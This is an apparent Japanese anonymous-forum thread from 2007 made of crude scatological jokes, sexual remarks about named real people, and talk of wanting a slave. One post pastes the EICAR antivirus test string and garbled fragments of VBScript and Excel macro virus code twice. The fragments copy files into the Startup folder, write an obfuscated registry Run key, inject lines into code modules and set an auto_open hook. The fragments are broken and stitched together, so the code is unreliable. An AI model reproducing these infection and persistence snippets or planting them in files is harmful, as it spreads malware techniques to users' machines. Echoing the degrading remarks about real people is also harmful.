【知的】んこ様スレ【金持ち】
1 ：んこ様 ◆LPAC1scTWI ：
んこ様を語れや！
|
|
|
2 ：んこ様 ◆LPAC1scTWI ：2007/09/30(日) 15:11:13
とっとと語りなさい！
3 ：んこ様 ◆LPAC1scTWI ：2007/09/30(日) 22:39:10
カタリーナ
4 ：名無し草：2007/09/30(日) 23:41:15
んこ様は臭い
んこ様は外基地
6 ：三井くん：2007/10/01(月) 08:19:05
んこ様が・・・
したいです・・・
したいです・・・
7 ：三井くん：2007/10/01(月) 10:01:58
んこ様が・・・
くさいです・・・
くさいです・・・
8 ：三井くん：2007/10/01(月) 12:27:24
んこ様が・・・
いたいです・・・
いたいです・・・
9 ：名無し草：2007/10/01(月) 13:03:59
うんこ様?
ｗｗｗｗｗｗｗｗｗｗ
ｗｗｗｗｗｗｗｗｗｗ
10 ：三井くん：2007/10/01(月) 22:09:57
鈴香と・・・
したいです・・・
したいです・・・
11 ：んこ様 ◆LPAC1scTWI ：2007/10/01(月) 23:53:50
また三井くんかｗｗｗ
12 ：三井くん：2007/10/02(火) 08:27:47
篤者は・・・
イタいです・・・
イタいです・・・
13 ：三井くん：2007/10/02(火) 12:33:28
段田段と・・・
したいです・・・
したいです・・・
14 ：三井くん：2007/10/03(水) 18:49:54
Britney Spearsと・・・
したいです・・・
したいです・・・
Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
16 ：三井くん：2007/10/05(金) 00:14:28
パスケが・・・
したいです・・・
したいです・・・
17 ：エリカ様：2007/10/05(金) 15:23:05
奴隷が・・・
ほしいです・・・
ほしいです・・・
18 ：三井くん：
奴隷に・・・
なりたいです・・・
なりたいです・・・